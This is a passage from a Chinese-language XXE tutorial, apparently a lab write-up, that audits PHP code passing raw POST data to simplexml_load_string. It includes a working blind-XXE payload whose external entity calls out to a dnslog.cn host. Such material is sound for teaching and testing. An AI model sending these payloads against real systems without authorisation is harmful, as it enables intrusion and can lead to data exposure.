XXE漏洞详解
1、靶场示例
2、知识储备
2.1 $GLOBALS['HTTP_RAW_POST_DATA']
函数
$GLOBALS['HTTP_RAW_POST_DATA'] //这个在php5.6以上版本就不再使用了,下面有淘汰的原因
|| 等价于
$data = file_get_contents("php://input"); //就是用来处理post传入的数据的
php://input 是个可以访问请求的原始数据的只读流。
POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。
3、开始代码审计
3.1全局搜索危险函数simplexml_load_string
双击进入id=1
第五行
$postArr = $GLOBALS['HTTP_RAW_POST_DATA'];
发现这个 $postArr
是可以控制的,因为就是前端传进来的post值,被GLOBALS解析了一下而已,同时传进来的值我们可以抓包进行控制。
因为现在输入是可以控制的,所以我们只需要找可以产生回显点的地方,对应到代码,就是找输出数据的地方
3.2 思路
因为我们在后续的代码中并没有发现任何输出点,所以这个时候就要尝试xxe的盲注
首先我们要先验证是否存在这个漏洞
注意:代码审计的文件路径如图,我们要通过访问这个文件,用post方法传入参数来验证
4、 dnslog验证此网站是否存在漏洞
4.1 进入 http://dnslog.cn/
网站
点击Get SubDomain获得一个域名
4.2 进入目标网站开启抓包
构造xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[
<!ENTITY name SYSTEM "http://aaaa.bs55kc.dnslog.cn/">]>
<root>
<username>&name;</username>
</root>
发送数据包到Repeater模块,这里是为了让我们多次验证,因为dnslog网站不是每次都能成功返回
4.3点击go
报错不要紧,我们这时回到dnslog看有没有记录
4.4验证成功,存在xxe漏洞
点击Refresh Record(刷新记录)其中这个aaaa就是我们编写的内容
此时会发现是两条两条记录的出现,原因可以参考一下图片
5、查看其他文件是否存在漏洞
这里可以看出,id=1和id=2是同一个文件,就没必要重复查看了
双击进入id=3,出现错误,我们也不用管
id=4 id=5是同一个文件,同一个位置,查看一个即可
id=6 存在xxe外部实体注入漏洞
id=7